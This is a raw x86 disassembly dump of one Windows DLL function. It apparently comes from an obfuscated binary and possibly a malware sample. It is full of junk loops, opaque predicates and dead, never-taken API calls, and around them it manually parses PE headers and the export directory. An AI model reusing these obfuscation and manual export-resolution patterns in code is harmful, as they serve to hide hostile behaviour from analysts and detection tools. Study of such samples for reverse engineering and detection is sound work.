mov dword [ebp - 0xbc], 1
jmp 0x1001a1a9
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jl 0x1001a25a
mov dword [ebp - 0x354], 0xfffffff6
mov dword [ebp - 0x354], 0
jmp 0x1001a1d9
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 1
jg 0x1001a255
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x248], 0
jmp 0x1001a205
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 1
jg 0x1001a250
mov byte [ebp - 0x14d], 0
movzx eax, byte [ebp - 0x14d]
test eax, eax
je 0x1001a231
push 0
push 0
push 0
push 0x1fd9
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov byte [ebp - 0x16b], 0
movzx eax, byte [ebp - 0x16b]
test eax, eax
je 0x1001a24e
push 0x22e6
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
jmp 0x1001a1f8
jmp 0x1001a1cc
jmp 0x1001a19c
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0xfe8], eax
push 0
lea ecx, [ebp - 0xe68]
call fcn.100214c8
mov eax, dword [eax]
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0
jne 0x1001a29d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc44], 0
jne 0x1001a29d
and dword [ebp - 0x664], 0
jmp 0x1001a2a7
mov dword [ebp - 0x664], 1
mov eax, 0x95e1
sub eax, dword [ebp - 0x314]
cmp eax, 5
jle 0x1001a2c3
mov dword [ebp - 0x66c], 1
jmp 0x1001a2ca
and dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x664]
add eax, dword [ebp - 0x66c]
mov dword [ebp - 0x3a4], eax
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x314], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x314]
imul edx, dword [ebp + ecx - 0xc44]
cmp edx, dword [ebp + eax - 0xc44]
je 0x1001a317
mov dword [ebp - 0x674], 1
jmp 0x1001a31e
and dword [ebp - 0x674], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x674]
neg ecx
mov edx, dword [ebp - 0x194]
sub edx, ecx
neg edx
cmp edx, dword [ebp + eax - 0xc44]
jne 0x1001a34b
mov dword [ebp - 0xb80], 1
jmp 0x1001a352
and dword [ebp - 0xb80], 0
mov eax, dword [ebp - 0x194]
cmp eax, dword [ebp - 0xbc]
je 0x1001a372
cmp dword [ebp - 0x404], 0
jne 0x1001a372
and dword [ebp - 0x3b8], 0
jmp 0x1001a37c
mov dword [ebp - 0x3b8], 1
push 1
lea ecx, [ebp - 0xe50]
call fcn.100214c8
mov ecx, dword [ebp - 0x3b8]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc44]
cmp dword [ebp - 0x3b8], eax
jge 0x1001a3b2
mov dword [ebp - 0x67c], 1
jmp 0x1001a3b9
and dword [ebp - 0x67c], 0
cmp dword [ebp - 0x67c], 0xf5f2fe8
je 0x1001a3d1
mov dword [ebp - 0x684], 1
jmp 0x1001a3d8
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x194]
cmp dword [ebp - 0x684], eax
jg 0x1001a3f2
mov dword [ebp - 0x68c], 1
jmp 0x1001a3f9
and dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0x68c]
add eax, 0x4965
je 0x1001a40f
cmp dword [ebp - 0x3a4], 0
jne 0x1001a421
cmp dword [ebp - 0x314], 0
jne 0x1001a421
and dword [ebp - 0x694], 0
jmp 0x1001a42b
mov dword [ebp - 0x694], 1
mov eax, dword [ebp - 0x694]
mov dword [ebp - 0x69c], eax
mov eax, dword [ebp - 0x69c]
sub eax, 6
cmp eax, dword [ebp - 0x194]
jg 0x1001a454
mov dword [ebp - 0x6a4], 1
jmp 0x1001a45b
and dword [ebp - 0x6a4], 0
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0x6a4], eax
jle 0x1001a475
mov dword [ebp - 0x6ac], 1
jmp 0x1001a47c
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x6ac]
neg eax
cmp eax, dword [ebp - 0x194]
jge 0x1001a498
mov dword [ebp - 0xc18], 1
jmp 0x1001a49f
and dword [ebp - 0xc18], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0xb88], eax
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xe50]
call fcn.100214a3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe68]
call fcn.100214a3
cmp dword [ebp - 0x35c], 0
je 0x1001cbda
mov eax, dword [ebp - 0x35c]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1001cbda
push 2
lea ecx, [ebp - 0xc54]
call fcn.100213ce
mov dword [ebp - 4], 0x28
mov dword [ebp - 0x31c], 0
jmp 0x1001a517
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 2
jge 0x1001a539
push dword [ebp - 0x31c]
lea ecx, [ebp - 0xc54]
call fcn.100214c8
mov dword [eax], 0xe0a8eac8
jmp 0x1001a50a
push 0
lea ecx, [ebp - 0xc54]
call fcn.100214c8
and dword [eax], 0
jmp 0x1001a56f
push 0
lea ecx, [ebp - 0xc54]
call fcn.100214c8
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x6b4]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xc54]
call fcn.100214c8
cmp dword [eax], 0xfffffff2
je 0x1001a59d
mov byte [ebp - 0xf5], 0
movzx eax, byte [ebp - 0xf5]
test eax, eax
je 0x1001a59b
push 0
call dword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x1001a54b
mov byte [ebp - 0x15d], 0
movzx eax, byte [ebp - 0x15d]
test eax, eax
je 0x1001a5c0
push 0
push 0x1f59
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc54]
call fcn.100214a3
mov eax, dword [ebp - 0x35c]
mov ecx, dword [ebp - 0x35c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x64], 0xffffffff
mov dword [ebp - 0xb90], 0xfffffff8
mov dword [ebp - 0x3c0], 0x13bcf59f
mov dword [ebp - 0x3c8], 0
mov dword [ebp - 0x1d0], 1
mov dword [ebp - 0x324], 0
jmp 0x1001a62c
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 4
jge 0x1001a648
mov eax, dword [ebp - 0x324]
mov dword [ebp + eax*4 - 0x1060], 0xffff
jmp 0x1001a61f
mov dword [ebp - 0x64], 0
jmp 0x1001a658
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jg 0x1001a862
mov dword [ebp - 0x18c], 0xfffffffb
mov byte [ebp - 0x16d], 0
movzx eax, byte [ebp - 0x16d]
test eax, eax
je 0x1001a68e
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xeb8], eax
cmp dword [ebp - 0x64], 0
je 0x1001a6ae
xor eax, eax
inc eax
je 0x1001a6ae
mov dword [ebp - 0x6bc], 1
jmp 0x1001a6b5
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x6bc]
inc eax
imul eax, eax, 0xa8cc
cmp eax, 7
jae 0x1001a6d3
mov dword [ebp - 0x6c4], 1
jmp 0x1001a6da
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x6c4], eax
jge 0x1001a6f1
mov dword [ebp - 0x6cc], 1
jmp 0x1001a6f8
and dword [ebp - 0x6cc], 0
cmp dword [ebp - 0x6cc], 0xfffffff6
jge 0x1001a70d
mov dword [ebp - 0xca8], 1
jmp 0x1001a714
and dword [ebp - 0xca8], 0
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0xffc], eax
cmp dword [ebp - 0x18c], 0xffff
ja 0x1001a738
mov dword [ebp - 0x6d4], 1
jmp 0x1001a73f
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x6d4]
mov dword [ebp - 0xb90], eax
cmp dword [ebp - 0x18c], 0
jne 0x1001a758
cmp dword [ebp - 0x64], 0
cmp dword [ebp - 0x3c0], 1
jae 0x1001a76d
mov dword [ebp - 0x6dc], 1
jmp 0x1001a774
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x3c0]
cmp dword [ebp - 0x6dc], eax
jge 0x1001a789
cmp dword [ebp - 0x3c8], 0
mov eax, 0x67e7
test eax, eax
jne 0x1001a799
cmp dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0xec0], eax
cmp dword [ebp - 0x18c], 1
je 0x1001a7c3
cmp dword [ebp - 0x18c], 0
je 0x1001a7c3
mov dword [ebp - 0x6ec], 1
jmp 0x1001a7ca
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp + eax*4 - 0x1060]
mov dword [ebp - 0x6e4], eax
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x6e4]
mov dword [ebp + eax*4 - 0x1060], ecx
mov eax, dword [ebp - 0x6e4]
cmp eax, dword [ebp - 0x6ec]
jne 0x1001a804
mov dword [ebp - 0x6f4], 1
jmp 0x1001a80b
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x3c8]
add eax, dword [ebp - 0x6f4]
imul eax, dword [ebp - 0x1d0]
test eax, eax
jbe 0x1001a82e
mov dword [ebp - 0x6fc], 1
jmp 0x1001a835
and dword [ebp - 0x6fc], 0
cmp dword [ebp - 0x6fc], 0
je 0x1001a84a
mov dword [ebp - 0x704], 1
jmp 0x1001a851
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x704]
mov dword [ebp - 0x18c], eax
jmp 0x1001a651
mov dword [ebp - 0x1d0], 0
jmp 0x1001a87b
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0x14
jge 0x1001a898
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x1060], 0
je 0x1001a896
jmp 0x1001a898
jmp 0x1001a86e
mov eax, dword [ebp - 0x1dc]
cmp dword [eax], 0x4550
jne 0x1001cbda
mov eax, dword [ebp - 0x1dc]
cmp dword [eax + 0x74], 0
jbe 0x1001cbda
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1dc]
cmp dword [ecx + eax + 0x78], 0
je 0x1001cbda
mov dword [ebp - 0xc28], 0xffffffff
mov byte [ebp - 0x105], 0
movzx eax, byte [ebp - 0x105]
test eax, eax
je 0x1001a909
push 0x144d
push 0
push 0x100d
push 0x2289
push 0x12e3
call dword [sym.imp.GDI32.dll_TextOutA]
cmp dword [ebp - 0xc28], 0xffffffff
jne 0x1001a93d
mov byte [ebp - 0x165], 0
movzx eax, byte [ebp - 0x165]
test eax, eax
je 0x1001a93b
push 0
push 0x1b6
push 0x1924
push 0x286
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
jmp 0x1001a973
mov dword [ebp - 0x70c], 0x836c
mov byte [ebp - 0x10d], 0
movzx eax, byte [ebp - 0x10d]
test eax, eax
je 0x1001a966
push 0
push 0x21fc
call dword [sym.imp.USER32.dll_GetWindowPlacement]
mov eax, dword [ebp - 0x70c]
inc eax
mov dword [ebp - 0x70c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x714], 0x4e6d
push 1
lea ecx, [ebp - 0xd20]
call fcn.100213ce
mov dword [ebp - 4], 0x29
mov dword [ebp - 0x1d8], 0xbf5f40e1
mov dword [ebp - 0x734], 0xa4860c01
mov dword [ebp - 0x73c], 0xbde8aff
mov dword [ebp - 0x744], 0xfffffffb
mov dword [ebp - 0x74c], 9
mov dword [ebp - 0xba0], 0xffff
mov dword [ebp - 0x48], 0
jmp 0x1001a9e6
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jge 0x1001a9ff
push dword [ebp - 0x48]
lea ecx, [ebp - 0xd20]
call fcn.100214c8
and dword [eax], 0
jmp 0x1001a9df
mov dword [ebp - 0x48], 0
jmp 0x1001aa0f
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jge 0x1001aa25
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0xd08], 6
jmp 0x1001aa08
mov dword [ebp - 0x48], 0
jmp 0x1001aa35
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jge 0x1001aa4b
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x1128], 0x7e10320b
jmp 0x1001aa2e
mov eax, dword [ebp - 0x714]
cmp eax, dword [ebp - 0x714]
je 0x1001aa65
mov dword [ebp - 0x71c], 1
jmp 0x1001aa6c
and dword [ebp - 0x71c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x71c]
mov dword [ebp + eax - 0xd08], ecx
mov dword [ebp - 0x1d8], 0xfffffff0
jmp 0x1001aa98
mov eax, dword [ebp - 0x1d8]
dec eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0xffffffe9
jge 0x1001ac57
mov dword [ebp - 0x1e0], 1
mov dword [ebp - 0x3d8], 0xffffffff
mov dword [ebp - 0xba8], 1
push 0
lea ecx, [ebp - 0xd20]
call fcn.100214c8
mov eax, dword [eax]
mov dword [ebp - 0x1e0], eax
push 0
lea ecx, [ebp - 0xd20]
call fcn.100214c8
mov eax, dword [eax]
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 0
jne 0x1001ab0f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd08], 0
jne 0x1001ab0f
and dword [ebp - 0x724], 0
jmp 0x1001ab19
mov dword [ebp - 0x724], 1
mov eax, dword [ebp - 0x1e0]
cmp dword [ebp - 0x724], eax
jge 0x1001ab33
mov dword [ebp - 0xb98], 1
jmp 0x1001ab3a
and dword [ebp - 0xb98], 0
cmp dword [ebp - 0x1e0], 0xd3d8
jle 0x1001ab52
mov dword [ebp - 0x72c], 1
jmp 0x1001ab59
and dword [ebp - 0x72c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd08]
add eax, dword [ebp - 0x72c]
mov dword [ebp - 0x734], eax
mov eax, dword [ebp - 0x734]
sub eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x73c], eax
mov eax, dword [ebp - 0x73c]
cmp eax, dword [ebp - 0x1d8]
jg 0x1001ab9e
mov dword [ebp - 0x3d0], 1
jmp 0x1001aba5
and dword [ebp - 0x3d0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3d0]
mov dword [ebp + eax - 0x1128], ecx
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x744], eax
mov eax, dword [ebp - 0x744]
mov dword [ebp - 0x74c], eax
mov eax, dword [ebp - 0x74c]
cmp eax, dword [ebp - 0x1e0]
jge 0x1001abea
mov dword [ebp - 0xc70], 1
jmp 0x1001abf1
and dword [ebp - 0xc70], 0
mov eax, dword [ebp - 0xba0]
mov dword [ebp - 0xff8], eax
mov eax, 0x2cc3231a
test eax, eax
je 0x1001ac17
xor eax, eax
inc eax
je 0x1001ac17
mov dword [ebp - 0xc38], 1
jmp 0x1001ac1e
and dword [ebp - 0xc38], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3d8]
cmp ecx, dword [ebp + eax - 0xd08]
jg 0x1001ac3f
mov dword [ebp - 0x754], 1
jmp 0x1001ac46
and dword [ebp - 0x754], 0
mov eax, dword [ebp - 0x754]
mov dword [ebp - 0xba8], eax
jmp 0x1001aa8b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd20]
call fcn.100214a3
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x198]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xcc], edx
mov eax, 0xffff
mov word [ebp - 0x78], ax
or dword [ebp - 0x190], 0xffffffff
mov dword [ebp - 0x75c], 0x4521
mov dword [ebp - 0xc6c], 0x10007d08
cmp dword [ebp - 0x75c], 0x476e
jle 0x1001ad92
and dword [ebp - 0x364], 0
jmp 0x1001accc
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0x7966
jge 0x1001ad92
and dword [ebp - 0x334], 0
jmp 0x1001acf2
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0x403b
jge 0x1001ad8d
and dword [ebp - 0x37c], 0
jmp 0x1001ad18
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0x6bb3
jge 0x1001ad88
and dword [ebp - 0x32c], 0
jmp 0x1001ad3a
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0x2217
jge 0x1001ad86
mov eax, dword [ebp - 0x37c]
imul eax, dword [ebp - 0x32c]
mov ecx, dword [ebp - 0x364]
or ecx, dword [ebp - 0x334]
or eax, ecx
cdq
mov dword [ebp - 0xb38], eax
mov dword [ebp - 0xb34], edx
push dword [ebp - 0xb34]
push dword [ebp - 0xb38]
mov ecx, 0x1060e778
call fcn.10021179
jmp 0x1001ad2d
jmp 0x1001ad0b
jmp 0x1001ace5
jmp 0x1001acbf
mov dword [ebp - 4], 0x2a
cmp dword [ebp - 0x75c], 0x42ee
jge 0x1001adb5
mov edx, dword [ebp - 0xc6c]
mov ecx, 0x1060e778
call fcn.10023bd7
jmp 0x1001add1
or dword [ebp - 4], 0xffffffff
jmp 0x1001addb
mov dword [ebp - 0x394], 0
jmp 0x1001adf4
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 4
jge 0x1001ae10
mov eax, dword [ebp - 0x394]
mov dword [ebp + eax*4 - 0x10ec], 0x6847
jmp 0x1001ade7
mov byte [ebp - 0x16f], 0
movzx eax, byte [ebp - 0x16f]
test eax, eax
je 0x1001ae28
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x10ec]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x10ec], eax
cmp dword [ebp + 0x10], 0
jbe 0x1001b47d
push 4
lea ecx, [ebp - 0xc64]
call fcn.100213ce
mov dword [ebp - 4], 0x2c
mov dword [ebp - 0x17c], 0xdba76aab
mov dword [ebp - 0xec8], 0xefa20bd0
mov dword [ebp - 0x74], 0
jmp 0x1001ae83
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 4
jge 0x1001ae9f
push dword [ebp - 0x74]
lea ecx, [ebp - 0xc64]
call fcn.100214c8
mov dword [eax], 0x313d
jmp 0x1001ae7c
mov dword [ebp - 0x74], 0
jmp 0x1001aeaf
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 1
jge 0x1001aec5
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0x7ac], 0xffffffff
jmp 0x1001aea8
mov dword [ebp - 0x17c], 0
jmp 0x1001aede
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 3
jg 0x1001b3a7
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0x144], 0xc35240ca
mov dword [ebp - 0x14c], 0xfffffffe
mov dword [ebp - 0x764], 0x2f70
mov dword [ebp - 0xbb0], 0x10007d4c
cmp dword [ebp - 0x764], 0x2f85
jle 0x1001afbe
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
and dword [ebp - 0x33c], 0
jmp 0x1001af4d
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0x2d47
jge 0x1001afae
and dword [ebp - 0x36c], 0
jmp 0x1001af6f
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x5d5
jge 0x1001afac
mov eax, dword [ebp - 0x33c]
and eax, dword [ebp - 0x36c]
cdq
mov dword [ebp - 0xb44], eax
mov dword [ebp - 0xb40], edx
push dword [ebp - 0xb40]
push dword [ebp - 0xb44]
mov ecx, 0x1060e778
call fcn.10021179
jmp 0x1001af62
jmp 0x1001af40
push 0x13db
push 0x2250
call dword [sym.imp.GDI32.dll_SetMapMode]
mov dword [ebp - 0xda8], 0x44ba928f
mov dword [ebp - 0xda4], 0x44ba928f
mov dword [ebp - 0xda0], 0x44ba928f
mov dword [ebp - 0xd9c], 0x44ba928f
lea ecx, [ebp - 0x41d]
call fcn.100214d7
push eax
lea eax, [ebp - 0xd98]
push eax
lea eax, [ebp - 0xda8]
push eax
lea ecx, [ebp - 0x1150]
call fcn.100215bd
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xd38]
call fcn.1002147d
mov byte [ebp - 4], 0x2d
mov byte [ebp - 4], 0x2e
cmp dword [ebp - 0x764], 0x2d24
jge 0x1001b03f
mov edx, dword [ebp - 0xbb0]
mov ecx, 0x1060e778
call fcn.10023bd7
jmp 0x1001b05b
mov dword [ebp - 4], 0x2d
jmp 0x1001b06b
mov dword [ebp - 0x180], 0x26067bbd
mov dword [ebp - 0x2dc], 0
jmp 0x1001b08e
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 3
jge 0x1001b0aa
mov eax, dword [ebp - 0x2dc]
mov dword [ebp + eax*4 - 0x111c], 0x51c6076f
jmp 0x1001b081
mov dword [ebp - 0xc4], 3
jmp 0x1001b0c3
mov eax, dword [ebp - 0xc4]
dec eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0
jl 0x1001b2f2
mov dword [ebp - 0x76c], 0xffffffff
mov dword [ebp - 0xc7c], 0x8cdac369
mov dword [ebp - 0x24c], 0
jmp 0x1001b0fd
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 3
jge 0x1001b119
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0xfc4], 5
jmp 0x1001b0f0
mov eax, dword [ebp - 0x76c]
dec eax
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0xc4], 0
jne 0x1001b13b
mov dword [ebp - 0xc48], 1
jmp 0x1001b142
and dword [ebp - 0xc48], 0
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x14c]
cmp eax, dword [ebp - 0xc4]
jle 0x1001b168
mov dword [ebp - 0xbb8], 1
jmp 0x1001b16f
and dword [ebp - 0xbb8], 0
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x1004], eax
push 2
lea ecx, [ebp - 0xd38]
call fcn.100214c8
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x180]
cmp ecx, dword [ebp + eax - 0xfc4]
jge 0x1001b1b1
mov dword [ebp - 0x77c], 1
jmp 0x1001b1b8
and dword [ebp - 0x77c], 0
push dword [ebp - 0xc4]
lea ecx, [ebp - 0xc64]
call fcn.100214c8
mov dword [ebp - 0x774], eax
push dword [ebp - 0x17c]
lea ecx, [ebp - 0xc64]
call fcn.100214c8
mov ecx, dword [ebp - 0x774]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x774]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x77c]
je 0x1001b206
mov dword [ebp - 0x784], 1
jmp 0x1001b20d
and dword [ebp - 0x784], 0
push 3
lea ecx, [ebp - 0xd38]
call fcn.100214c8
mov ecx, dword [ebp - 0x784]
cmp ecx, dword [eax]
jge 0x1001b230
mov dword [ebp - 0x78c], 1
jmp 0x1001b237
and dword [ebp - 0x78c], 0
mov esi, dword [ebp - 0x78c]
sub esi, 0xc0b8
push 2
lea ecx, [ebp - 0xd38]
call fcn.100214c8
cmp esi, dword [eax]
jle 0x1001b260
mov dword [ebp - 0x794], 1
jmp 0x1001b267
and dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x144]
dec eax
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x79c], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x79c]
mov dword [ebp + eax - 0x111c], ecx
push 4
pop eax
shl eax, 1
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x7ac]
imul ecx, dword [ebp - 0x794]
imul ecx, dword [ebp - 0x79c]
imul ecx, ecx, 0x966b
cmp ecx, dword [ebp + eax - 0xfc4]
jle 0x1001b2cd
mov dword [ebp - 0x7a4], 1
jmp 0x1001b2d4
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0x7a4]
sub eax, dword [ebp - 0xc7c]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x7ac], eax
jmp 0x1001b0b6
mov dword [ebp - 0x180], 0
jmp 0x1001b30b
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 3
jg 0x1001b393
mov dword [ebp - 0x144], 0
jmp 0x1001b32d
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 3
jg 0x1001b38e
mov dword [ebp - 0x14c], 0
jmp 0x1001b34f
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 3
jg 0x1001b38c
mov byte [ebp - 0x115], 0
movzx eax, byte [ebp - 0x115]
test eax, eax
je 0x1001b372
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push dword [ebp - 0x14c]
lea ecx, [ebp - 0xc64]
call fcn.100214c8
cmp dword [eax], 0
je 0x1001b38a
jmp 0x1001b38c
jmp 0x1001b342
jmp 0x1001b320
jmp 0x1001b2fe
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0xd38]
call fcn.100214a3
jmp 0x1001aed1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc64]
call fcn.100214a3
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1001b478
push 4
lea ecx, [ebp - 0xfd4]
call fcn.100213ce
mov dword [ebp - 4], 0x30
mov dword [ebp - 0x25c], 0xffffffff
mov dword [ebp - 0x254], 0
jmp 0x1001b3ff
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 4
jge 0x1001b41e
push dword [ebp - 0x254]
lea ecx, [ebp - 0xfd4]
call fcn.100214c8
and dword [eax], 0
jmp 0x1001b3f2
mov dword [ebp - 0x25c], 3
jmp 0x1001b437
mov eax, dword [ebp - 0x25c]
dec eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0
jl 0x1001b461
mov byte [ebp - 0x171], 0
movzx eax, byte [ebp - 0x171]
test eax, eax
je 0x1001b45f
push 0
push 0x186
call dword [sym.imp.USER32.dll_GetWindowInfo]
jmp 0x1001b42a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfd4]
call fcn.100214a3
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x78], ax
jmp 0x1001c25e
mov dword [ebp - 0x81c], 0x9dfc
mov dword [ebp - 0x1e8], 0xca95
mov dword [ebp - 0x7e4], 0xdd8fb8ce
mov dword [ebp - 0x3e0], 0x8d92426f
mov dword [ebp - 0x7f4], 0xffffffff
mov dword [ebp - 0x814], 0xfffffff9
mov dword [ebp - 0xc58], 0x59dba5c1
mov dword [ebp - 0x264], 0
jmp 0x1001b4dc
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 2
jge 0x1001b4f8
mov eax, dword [ebp - 0x264]
mov dword [ebp + eax*4 - 0xd58], 0x74adf298
jmp 0x1001b4cf
cmp dword [ebp - 0x81c], 0
jne 0x1001b667
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x7b4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x7b4]
mov dword [ebp + eax - 0xd58], ecx
mov eax, dword [ebp - 0x7e4]
cmp dword [ebp - 0x7b4], eax
jl 0x1001b53e
mov dword [ebp - 0xbc0], 1
jmp 0x1001b545
and dword [ebp - 0xbc0], 0
mov eax, dword [ebp - 0x3e0]
cmp eax, dword [ebp - 0x1e8]
jl 0x1001b55f
mov dword [ebp - 0x7bc], 1
jmp 0x1001b566
and dword [ebp - 0x7bc], 0
